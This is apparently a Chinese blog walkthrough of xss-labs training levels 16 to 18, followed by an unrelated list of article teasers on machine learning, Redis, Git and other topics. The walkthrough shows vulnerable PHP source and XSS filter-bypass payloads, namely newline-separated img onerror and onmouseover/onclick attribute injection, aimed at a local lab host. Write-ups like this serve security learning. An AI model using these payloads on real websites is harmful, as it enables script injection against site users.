Load URL地址:192.168.2.106/xss-labs/level16.php?src=jaden查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","&nbsp;",$str);$str3=str_replace(" ","&nbsp;",$str2);$str4=str_replace("/","&nbsp;",$str3);$str5=str_replace("	","&nbsp;",$str4);echo "<center>".$str5."</center>";?><center><img src=level16.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";?>确认输出//img有输出但是空格被编码了192.168.2.106/xss-labs/level16.php?src=jaden<img src=1 onerror=alter(123)>/'//将空格的编码替换成回车的编码进行尝试%0A回车符号192.168.2.106/xss-labs/level16.php?src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>'

Less17_18:embed标签-鼠标事件闭合绕过

embed标签:定义了一个区域,可以放图片、视频、音频等内容 

Load URL地址:192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b查看源码确认输出//发现以src的属性值进行了输出192.168.2.106/xss-labs/level17.php?arg01=a&arg02=bjaden//用onmouseover鼠标事件192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'onmouseover=alter("jaden")//用onmouseover鼠标事件192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'οnclick=alter("jaden")

Less19_20:过时

flash插件技术比较老了,已经全面停用了禁用了,就不做了


http://www.ppmy.cn/news/1528375.html

相关文章

比较:wav2vec2_large_librivox.yaml与 wav2vec2_base_librispeech.yaml配置文件

比较:wav2vec2_large_librivox.yaml 与 wav2vec2_base_librispeech.yaml 配置文件 在使用 Fairseq 训练 wav2vec 2.0 模型时,有多个预定义的配置文件可供选择,每个配置文件适用于不同的数据集和模型大小。本文将详细比较 wav2vec2_large_librivox.yaml 和 wav2vec2_base_li…

基于微信小程序的垃圾分类(lw+演示+源码+运行)

摘 要 随着生态文明体制改革的不断推进,可持续发展的环保理念逐渐成为社会共识,而在推行环保措施的过程中却困难重重.针对生活废弃物肆意无序投放的问题,尽管目前各大城市相继推出垃圾分类强制性执行的政策法规,但因市民欠缺对垃圾种类的正确认识而导致垃圾分类的施行难度和成…

(黑马点评)八、实现签到统计和uv统计

8.1 签到统计系列功能 8.1.1 认识BitMap结构 BitMap是Redis基于String实现的一种高效的二进制数位的数据结构。因此一个BItMap的最大上线为512M&#xff0c;转为bit位可表示 2^32位 常见命令 SETBIT&#xff1a;向指定位置&#xff08;offset&#xff09;存入一个0或1 GETBIT …

非标工业模型评审不再难,3D一览通助力高效协同

在当今工业领域&#xff0c;非标设备设计正成为满足特定客户需求的关键。这类设计服务涉及为特定应用场景量身定制的设备或机器&#xff0c;它们通常不是市场上现成的标准化产品&#xff0c;而是根据客户的独特需求进行个性化设计和制造。 这种定制化过程要求设计团队与客户进…

Git使用手册

1、初识Git 概述&#xff1a;Git 是一个开源的分布式版本控制系统&#xff0c;可以有效、高速地处理项目版本管理。 知识点补充&#xff1a; 版本控制&#xff1a;一种记录一个或若干文件内容变化&#xff0c;以便将来查阅特定版本修订情况的系统。 分布式&#xff1a;每个人…

【D3.js in Action 3 精译_023】3.3 使用 D3 将数据绑定到 DOM 元素

当前内容所在位置&#xff1a; 第一部分 D3.js 基础知识 第一章 D3.js 简介&#xff08;已完结&#xff09; 1.1 何为 D3.js&#xff1f;1.2 D3 生态系统——入门须知1.3 数据可视化最佳实践&#xff08;上&#xff09;1.3 数据可视化最佳实践&#xff08;下&#xff09;1.4 本…

python协程,线程,进程详细解释和使用

协程的概念与特点 1.1 协程的定义与历史 协程&#xff08;Coroutine&#xff09;是一种用户态的轻量级线程&#xff0c;它允许执行被挂起与恢复。与传统的子程序&#xff08;Subroutine&#xff09;不同&#xff0c;协程可以在执行过程中暂停&#xff0c;并在之后从暂停点继续…

PyTorch 图像分割模型教程

PyTorch 图像分割模型教程 在图像分割任务中&#xff0c;目标是将图像的每个像素归类为某一类&#xff0c;以分割出特定的物体。PyTorch 提供了非常灵活的工具&#xff0c;可以用于构建和训练图像分割模型。我们将使用 PyTorch 的经典网络架构&#xff0c;如 UNet 和 DeepLabV…